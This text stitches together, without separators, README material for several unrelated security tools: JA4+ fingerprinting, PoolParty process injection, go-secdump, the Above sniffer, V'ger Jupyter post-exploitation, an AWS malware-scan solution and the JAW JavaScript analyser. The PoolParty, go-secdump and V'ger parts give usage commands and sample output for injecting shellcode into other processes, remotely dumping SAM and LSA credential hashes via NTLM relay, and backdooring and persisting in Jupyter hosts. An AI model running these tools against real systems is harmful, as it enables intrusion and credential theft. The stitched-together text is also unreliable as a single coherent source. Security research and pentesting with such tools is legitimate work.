ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
./ja4 [options] [pcap]
1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
2) Add the location of tshark to your "PATH" environment variable in Windows.
(System properties > Environment Variables... > Edit Path)
3) Open cmd, navigate the ja4 folder
ja4 [options] [pcap]
An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.
In the meantime, see ja4plus-mapping.csv
Feel free to do a pull request with any JA4+ data you find.
JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.
All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.
For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).
Current methods and implementation details:
| Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
| JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner
The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...
To understand how to read JA4+ fingerprints, see Technical Details
JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.
JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.
All JA4+ methods are patent pending.
JA4+ is a trademark of FoxIO
JA4+ can and is being implemented into open source tools, see the License FAQ for details.
This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.
ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.
Q: Why are you sorting the ciphers? Doesn't the ordering matter?
A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.
Q: Why are you sorting the extensions?
A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.
So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.
Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.
John Althouse, with feedback from:
Josh Atkins
Jeff Atkinson
Joshua Alexander
W.
Joe Martin
Ben Higgins
Andrew Morris
Chris Ueland
Ben Schofield
Matthias Vallentin
Valeriy Vorotyntsev
Timothy Noel
Gary Lipsky
And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.
Contact John Althouse at john@foxio.io for licensing and questions.
Copyright (c) 2024, FoxIO
A collection of fully-undetectable process injection techniques abusing Windows Thread Pools. Presented at Black Hat EU 2023 Briefings under the title - injection-techniques-using-windows-thread-pools-35446">The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| Variant ID | Varient Description |
|---|---|
| 1 | Overwrite the start routine of the target worker factory |
| 2 | Insert TP_WORK work item to the target process's thread pool |
| 3 | Insert TP_WAIT work item to the target process's thread pool |
| 4 | Insert TP_IO work item to the target process's thread pool |
| 5 | Insert TP_ALPC work item to the target process's thread pool |
| 6 | Insert TP_JOB work item to the target process's thread pool |
| 7 | Insert TP_DIRECT work item to the target process's thread pool |
| 8 | Insert TP_TIMER work item to the target process's thread pool |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
Insert TP_TIMER work item to process ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExp iration
[info] PoolParty attack completed successfully
The default shellcode spawns a calculator via the WinExec API.
To customize the executable to execute, change the path in the end of the g_Shellcode variable present in the main.cpp file.
Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.
Dump all registry secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Dump only SAM, LSA, or DCC2 cache secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
Dump registry secrets using NTLM relaying
Start listener
./go-secdump --host 192.168.0.100 -n --relay
Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.
When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Invisible protocol sniffer for finding vulnerabilities in the network. Designed for pentesters and security engineers.
Above: Invisible network protocol sniffer
Designed for pentesters and security engineers
Author: Magama Bazarov, <caster@exploit.org>
Pseudonym: Caster
Version: 2.6
Codename: Introvert
All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.
It is a specialized network security tool that helps both pentesters and security professionals.
Above is a invisible network sniffer for finding vulnerabilities in network equipment. It is based entirely on network traffic analysis, so it does not make any noise on the air. He's invisible. Completely based on the Scapy library.
Above allows pentesters to automate the process of finding vulnerabilities in network hardware. Discovery protocols, dynamic routing, 802.1Q, ICS Protocols, FHRP, STP, LLMNR/NBT-NS, etc.
Detects up to 27 protocols:
MACSec (802.1X AE)
EAPOL (Checking 802.1X versions)
ARP (Passive ARP, Host Discovery)
CDP (Cisco Discovery Protocol)
DTP (Dynamic Trunking Protocol)
LLDP (Link Layer Discovery Protocol)
802.1Q Tags (VLAN)
S7COMM (Siemens)
OMRON
TACACS+ (Terminal Access Controller Access Control System Plus)
ModbusTCP
STP (Spanning Tree Protocol)
OSPF (Open Shortest Path First)
EIGRP (Enhanced Interior Gateway Routing Protocol)
BGP (Border Gateway Protocol)
VRRP (Virtual Router Redundancy Protocol)
HSRP (Host Standby Redundancy Protocol)
GLBP (Gateway Load Balancing Protocol)
IGMP (Internet Group Management Protocol)
LLMNR (Link Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
MDNS (Multicast DNS)
DHCP (Dynamic Host Configuration Protocol)
DHCPv6 (Dynamic Host Configuration Protocol v6)
ICMPv6 (Internet Control Message Protocol v6)
SSDP (Simple Service Discovery Protocol)
MNDP (MikroTik Neighbor Discovery Protocol)
Above works in two modes:
The tool is very simple in its operation and is driven by arguments:
.pcap as input and looks for protocols in it.pcap file, its name you specify yourselfusage: above.py [-h] [--interface INTERFACE] [--timer TIMER] [--output OUTPUT] [--input INPUT] [--passive-arp]
options:
-h, --help show this help message and exit
--interface INTERFACE
Interface for traffic listening
--timer TIMER Time in seconds to capture packets, if not set capture runs indefinitely
--output OUTPUT File name where the traffic will be recorded
--input INPUT File name of the traffic dump
--passive-arp Passive ARP (Host Discovery)
The information obtained will be useful not only to the pentester, but also to the security engineer, he will know what he needs to pay attention to.
When Above detects a protocol, it outputs the necessary information to indicate the attack vector or security issue:
Impact: What kind of attack can be performed on this protocol;
Tools: What tool can be used to launch an attack;
Technical information: Required information for the pentester, sender MAC/IP addresses, FHRP group IDs, OSPF/EIGRP domains, etc.
Mitigation: Recommendations for fixing the security problems
Source/Destination Addresses: For protocols, Above displays information about the source and destination MAC addresses and IP addresses
You can install Above directly from the Kali Linux repositories
caster@kali:~$ sudo apt update && sudo apt install above
Or...
caster@kali:~$ sudo apt-get install python3-scapy python3-colorama python3-setuptools
caster@kali:~$ git clone https://github.com/casterbyte/Above
caster@kali:~$ cd Above/
caster@kali:~/Above$ sudo python3 setup.py install
# Install python3 first
brew install python3
# Then install required dependencies
sudo pip3 install scapy colorama setuptools
# Clone the repo
git clone https://github.com/casterbyte/Above
cd Above/
sudo python3 setup.py install
Don't forget to deactivate your firewall on macOS!
Above requires root access for sniffing
Above can be run with or without a timer:
caster@kali:~$ sudo above --interface eth0 --timer 120
To stop traffic sniffing, press CTRL + ะก
WARNING! Above is not designed to work with tunnel interfaces (L3) due to the use of filters for L2 protocols. Tool on tunneled L3 interfaces may not work properly.
Example:
caster@kali:~$ sudo above --interface eth0 --timer 120
-----------------------------------------------------------------------------------------
[+] Start sniffing...
[*] After the protocol is detected - all necessary information about it will be displayed
--------------------------------------------------
[+] Detected SSDP Packet
[*] Attack Impact: Potential for UPnP Device Exploitation
[*] Tools: evil-ssdp
[*] SSDP Source IP: 192.168.0.251
[*] SSDP Source MAC: 02:10:de:64:f2:34
[*] Mitigation: Ensure UPnP is disabled on all devices unless absolutely necessary, monitor UPnP traffic
--------------------------------------------------
[+] Detected MDNS Packet
[*] Attack Impact: MDNS Spoofing, Credentials Interception
[*] Tools: Responder
[*] MDNS Spoofing works specifically against Windows machines
[*] You cannot get NetNTLMv2-SSP from Apple devices
[*] MDNS Speaker IP: fe80::183f:301c:27bd:543
[*] MDNS Speaker MAC: 02:10:de:64:f2:34
[*] Mitigation: Filter MDNS traffic. Be careful with MDNS filtering
--------------------------------------------------
If you need to record the sniffed traffic, use the --output argument
caster@kali:~$ sudo above --interface eth0 --timer 120 --output above.pcap
If you interrupt the tool with CTRL+C, the traffic is still written to the file
If you already have some recorded traffic, you can use the --input argument to look for potential security issues
caster@kali:~$ above --input ospf-md5.cap
Example:
caster@kali:~$ sudo above --input ospf-md5.cap
[+] Analyzing pcap file...
--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 10.0.0.1
[*] OSPF Neighbor MAC: 00:0c:29:dd:4c:54
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication
--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 192.168.0.2
[*] OSPF Neighbor MAC: 00:0c:29:43:7b:fb
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication
The tool can detect hosts without noise in the air by processing ARP frames in passive mode
caster@kali:~$ sudo above --interface eth0 --passive-arp --timer 10
[+] Host discovery using Passive ARP
--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.88
[*] MAC Address: 00:00:0c:07:ac:c8
--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.40
[*] MAC Address: 00:0c:29:c5:82:81
--------------------------------------------------
I wrote this tool because of the track "A View From Above (Remix)" by KOAN Sound. This track was everything to me when I was working on this sniffer.
V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.
pip install vgervger --helpCurrently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.
Once a connection is established, users drop into a nested set of menus.
The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.
These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.
With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.
There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").
It can be difficult for security teams to continuously monitor all on-premises servers due to budget and resource constraints. Signature-based antivirus alone is insufficient as modern malware uses various obfuscation techniques. Server admins may lack visibility into security events across all servers historically. Determining compromised systems and safe backups to restore from during incidents is challenging without centralized monitoring and alerting. It is onerous for server admins to setup and maintain additional security tools for advanced threat detection. The rapid mean time to detect and remediate infections is critical but difficult to achieve without the right automated solution.
Determining which backup image is safe to restore from during incidents without comprehensive threat intelligence is another hard problem. Even if backups are available, without knowing when exactly a system got compromised, it is risky to blindly restore from backups. This increases the chance of restoring malware and losing even more valuable data and systems during incident response. There is a need for an automated solution that can pinpoint the timeline of infiltration and recommend safe backups for restoration.
The solution leverages AWS Elastic Disaster Recovery (AWS DRS), Amazon GuardDuty and AWS Security Hub to address the challenges of malware detection for on-premises servers.
This combo of services provides a cost-effective way to continuously monitor on-premises servers for malware without impacting performance. It also helps determine safe recovery point in time backups for restoration by identifying timeline of compromises through centralized threat analytics.
AWS Elastic Disaster Recovery (AWS DRS) minimizes downtime and data loss with fast, reliable recovery of on-premises and cloud-based applications using affordable storage, minimal compute, and point-in-time recovery.
Amazon GuardDuty is a threat detection service that continuously monitors your AWS accounts and workloads for malicious activity and delivers detailed security findings for visibility and remediation.
AWS Security Hub is a cloud security posture management (CSPM) service that performs security best practice checks, aggregates alerts, and enables automated remediation.
The Malware Scan solution assumes on-premises servers are already being replicated with AWS DRS, and Amazon GuardDuty & AWS Security Hub are enabled. The cdk stack in this repository will only deploy the boxes labelled as DRS Malware Scan in the architecture diagram.
Amazon Security Hub enabled. If not, please check this documentation
Warning
Currently, Amazon GuardDuty Malware scan does not support EBS volumes encrypted with EBS-managed keys. If you want to use this solution to scan your on-prem (or other-cloud) servers replicated with DRS, you need to setup DRS replication with your own encryption key in KMS. If you are currently using EBS-managed keys with your replicating servers, you can change encryption settings to use your own KMS key in the DRS console.
Create a Cloud9 environment with Ubuntu image (at least t3.small for better performance) in your AWS account. Open your Cloud9 environment and clone the code in this repository. Note: Amazon Linux 2 has node v16 which is not longer supported since 2023-09-11 git clone https://github.com/aws-samples/drs-malware-scan
cd drs-malware-scan
sh check_loggroup.sh
Deploy the CDK stack by running the following command in the Cloud9 terminal and confirm the deployment
npm install cdk bootstrap cdk deploy --all Note
The solution is made of 2 stacks: * DrsMalwareScanStack: it deploys all resources needed for malware scanning feature. This stack is mandatory. If you want to deploy only this stack you can run cdk deploy DrsMalwareScanStack
* ScanReportStack: it deploys the resources needed for reporting (Amazon Lambda and Amazon S3). This stack is optional. If you want to deploy only this stack you can run cdk deploy ScanReportStack
If you want to deploy both stacks you can run cdk deploy --all
All lambda functions route logs to Amazon CloudWatch. You can verify the execution of each function by inspecting the proper CloudWatch log groups for each function, look for the /aws/lambda/DrsMalwareScanStack-* pattern.
The duration of the malware scan operation will depend on the number of servers/volumes to scan (and their size). When Amazon GuardDuty finds malware, it generates a SecurityHub finding: the solution intercepts this event and runs the $StackName-SecurityHubAnnotations lambda to augment the SecurityHub finding with a note containing the name(s) of the DRS source server(s) with malware.
The SQS FIFO queues can be monitored using the Messages available and Message in flight metrics from the AWS SQS console
The DRS Volume Annotations DynamoDB tables keeps track of the status of each Malware scan operation.
Amazon GuardDuty has documented reasons to skip scan operations. For further information please check Reasons for skipping resource during malware scan
In order to analize logs from Amazon GuardDuty Malware scan operations, you can check /aws/guardduty/malware-scan-events Amazon Cloudwatch LogGroup. The default log retention period for this log group is 90 days, after which the log events are deleted automatically.
Run the following commands in your terminal:
cdk destroy --all
(Optional) Delete the CloudWatch log groups associated with Lambda Functions.
For the purpose of this analysis, we have assumed a fictitious scenario to take as an example. The following cost estimates are based on services located in the North Virginia (us-east-1) region.
| Monthly Cost | Total Cost for 12 Months |
|---|---|
| 171.22 USD | 2,054.74 USD |
| Service Name | Description | Monthly Cost (USD) |
|---|---|---|
| AWS Elastic Disaster Recovery | 2 Source Servers / 1 Replication Server / 4 disks / 100GB / 30 days of EBS Snapshot Retention Period | 71.41 |
| Amazon GuardDuty | 3 TB Malware Scanned/Month | 94.56 |
| Amazon DynamoDB | 100MB 1 Read/Second 1 Writes/Second | 3.65 |
| AWS Security Hub | 1 Account / 100 Security Checks / 1000 Finding Ingested | 0.10 |
| AWS EventBridge | 1M custom events | 1.00 |
| Amazon Cloudwatch | 1GB ingested/month | 0.50 |
| AWS Lambda | 5 ARM Lambda Functions - 128MB / 10secs | 0.00 |
| Amazon SQS | 2 SQS Fifo | 0.00 |
| Total | 171.22 |
Note The figures presented here are estimates based on the assumptions described above, derived from the AWS Pricing Calculator. For further details please check this pricing calculator as a reference. You can adjust the services configuration in the referenced calculator to make your own estimation. This estimation does not include potential taxes or additional charges that might be applicable. It's crucial to remember that actual fees can vary based on usage and any additional services not covered in this analysis. For critical environments is advisable to include Business Support Plan (not considered in the estimation)
See CONTRIBUTING for more information.
An open-source, prototype implementation of property graphs for JavaScript based on the esprima parser, and the EsTree SpiderMonkey Spec. JAW can be used for analyzing the client-side of web applications and JavaScript-based programs.
This project is licensed under GNU AFFERO GENERAL PUBLIC LICENSE V3.0. See here for more information.
JAW has a Github pages website available at https://soheilkhodayari.github.io/JAW/.
Release Notes:
JAW-V2 branch.JAW-V1 branch.The architecture of the JAW is shown below.
JAW can be used in two distinct ways:
Arbitrary JavaScript Analysis: Utilize JAW for modeling and analyzing any JavaScript program by specifying the program's file system path.
Web Application Analysis: Analyze a web application by providing a single seed URL.
Use the collected web resources to create a Hybrid Program Graph (HPG), which will be imported into a Neo4j database.
Optionally, supply the HPG construction module with a mapping of semantic types to custom JavaScript language tokens, facilitating the categorization of JavaScript functions based on their purpose (e.g., HTTP request functions).
Query the constructed Neo4j graph database for various analyses. JAW offers utility traversals for data flow analysis, control flow analysis, reachability analysis, and pattern matching. These traversals can be used to develop custom security analyses.
JAW also includes built-in traversals for detecting client-side CSRF, DOM Clobbering and request hijacking vulnerabilities.
The outputs will be stored in the same folder as that of input.
The installation script relies on the following prerequisites: - Latest version of npm package manager (node js) - Any stable version of python 3.x - Python pip package manager
Afterwards, install the necessary dependencies via:
$ ./install.sh
For detailed installation instructions, please see here.
You can run an instance of the pipeline in a background screen via:
$ python3 -m run_pipeline --conf=config.yaml
The CLI provides the following options:
$ python3 -m run_pipeline -h
usage: run_pipeline.py [-h] [--conf FILE] [--site SITE] [--list LIST] [--from FROM] [--to TO]
This script runs the tool pipeline.
optional arguments:
-h, --help show this help message and exit
--conf FILE, -C FILE pipeline configuration file. (default: config.yaml)
--site SITE, -S SITE website to test; overrides config file (default: None)
--list LIST, -L LIST site list to test; overrides config file (default: None)
--from FROM, -F FROM the first entry to consider when a site list is provided; overrides config file (default: -1)
--to TO, -T TO the last entry to consider when a site list is provided; overrides config file (default: -1)
Input Config: JAW expects a .yaml config file as input. See config.yaml for an example.
Hint. The config file specifies different passes (e.g., crawling, static analysis, etc) which can be enabled or disabled for each vulnerability class. This allows running the tool building blocks individually, or in a different order (e.g., crawl all webapps first, then conduct security analysis).
For running a quick example demonstrating how to build a property graph and run Cypher queries over it, do:
$ python3 -m analyses.example.example_analysis --input=$(pwd)/data/test_program/test.js
This module collects the data (i.e., JavaScript code and state values of web pages) needed for testing. If you want to test a specific JavaScipt file that you already have on your file system, you can skip this step.
JAW has crawlers based on Selenium (JAW-v1), Puppeteer (JAW-v2, v3) and Playwright (JAW-v3). For most up-to-date features, it is recommended to use the Puppeteer- or Playwright-based versions.
This web crawler employs foxhound, an instrumented version of Firefox, to perform dynamic taint tracking as it navigates through webpages. To start the crawler, do:
$ cd crawler
$ node crawler-taint.js --seedurl=https://google.com --maxurls=100 --headless=true --foxhoundpath=<optional-foxhound-executable-path>
The foxhoundpath is by default set to the following directory: crawler/foxhound/firefox which contains a binary named firefox.
Note: you need a build of foxhound to use this version. An ubuntu build is included in the JAW-v3 release.
To start the crawler, do:
$ cd crawler
$ node crawler.js --seedurl=https://google.com --maxurls=100 --browser=chrome --headless=true
See here for more information.
To start the crawler, do:
$ cd crawler/hpg_crawler
$ vim docker-compose.yaml # set the websites you want to crawl here and save
$ docker-compose build
$ docker-compose up -d
Please refer to the documentation of the hpg_crawler here for more information.
To generate an HPG for a given (set of) JavaScript file(s), do:
$ node engine/cli.js --lang=js --graphid=graph1 --input=/in/file1.js --input=/in/file2.js --output=$(pwd)/data/out/ --mode=csv
optional arguments:
--lang: language of the input program
--graphid: an identifier for the generated HPG
--input: path of the input program(s)
--output: path of the output HPG, must be i
--mode: determines the output format (csv or graphML)
To import an HPG inside a neo4j graph database (docker instance), do:
$ python3 -m hpg_neo4j.hpg_import --rpath=<path-to-the-folder-of-the-csv-files> --id=<xyz> --nodes=<nodes.csv> --edges=<rels.csv>
$ python3 -m hpg_neo4j.hpg_import -h
usage: hpg_import.py [-h] [--rpath P] [--id I] [--nodes N] [--edges E]
This script imports a CSV of a property graph into a neo4j docker database.
optional arguments:
-h, --help show this help message and exit
--rpath P relative path to the folder containing the graph CSV files inside the `data` directory
--id I an identifier for the graph or docker container
--nodes N the name of the nodes csv file (default: nodes.csv)
--edges E the name of the relations csv file (default: rels.csv)
In order to create a hybrid property graph for the output of the hpg_crawler and import it inside a local neo4j instance, you can also do:
$ python3 -m engine.api <path> --js=<program.js> --import=<bool> --hybrid=<bool> --reqs=<requests.out> --evts=<events.out> --cookies=<cookies.pkl> --html=<html_snapshot.html>
Specification of Parameters:
<path>: absolute path to the folder containing the program files for analysis (must be under the engine/outputs folder).--js=<program.js>: name of the JavaScript program for analysis (default: js_program.js).--import=<bool>: whether the constructed property graph should be imported to an active neo4j database (default: true).--hybrid=bool: whether the hybrid mode is enabled (default: false). This implies that the tester wants to enrich the property graph by inputing files for any of the HTML snapshot, fired events, HTTP requests and cookies, as collected by the JAW crawler.--reqs=<requests.out>: for hybrid mode only, name of the file containing the sequence of obsevered network requests, pass the string false to exclude (default: request_logs_short.out).--evts=<events.out>: for hybrid mode only, name of the file containing the sequence of fired events, pass the string false to exclude (default: events.out).--cookies=<cookies.pkl>: for hybrid mode only, name of the file containing the cookies, pass the string false to exclude (default: cookies.pkl).--html=<html_snapshot.html>: for hybrid mode only, name of the file containing the DOM tree snapshot, pass the string false to exclude (default: html_rendered.html).For more information, you can use the help CLI provided with the graph construction API:
$ python3 -m engine.api -h
The constructed HPG can then be queried using Cypher or the NeoModel ORM.
You should place and run your queries in analyses/<ANALYSIS_NAME>.
You can use the NeoModel ORM to query the HPG. To write a query:
example_query_orm.py in the analyses/example folder.$ python3 -m analyses.example.example_query_orm
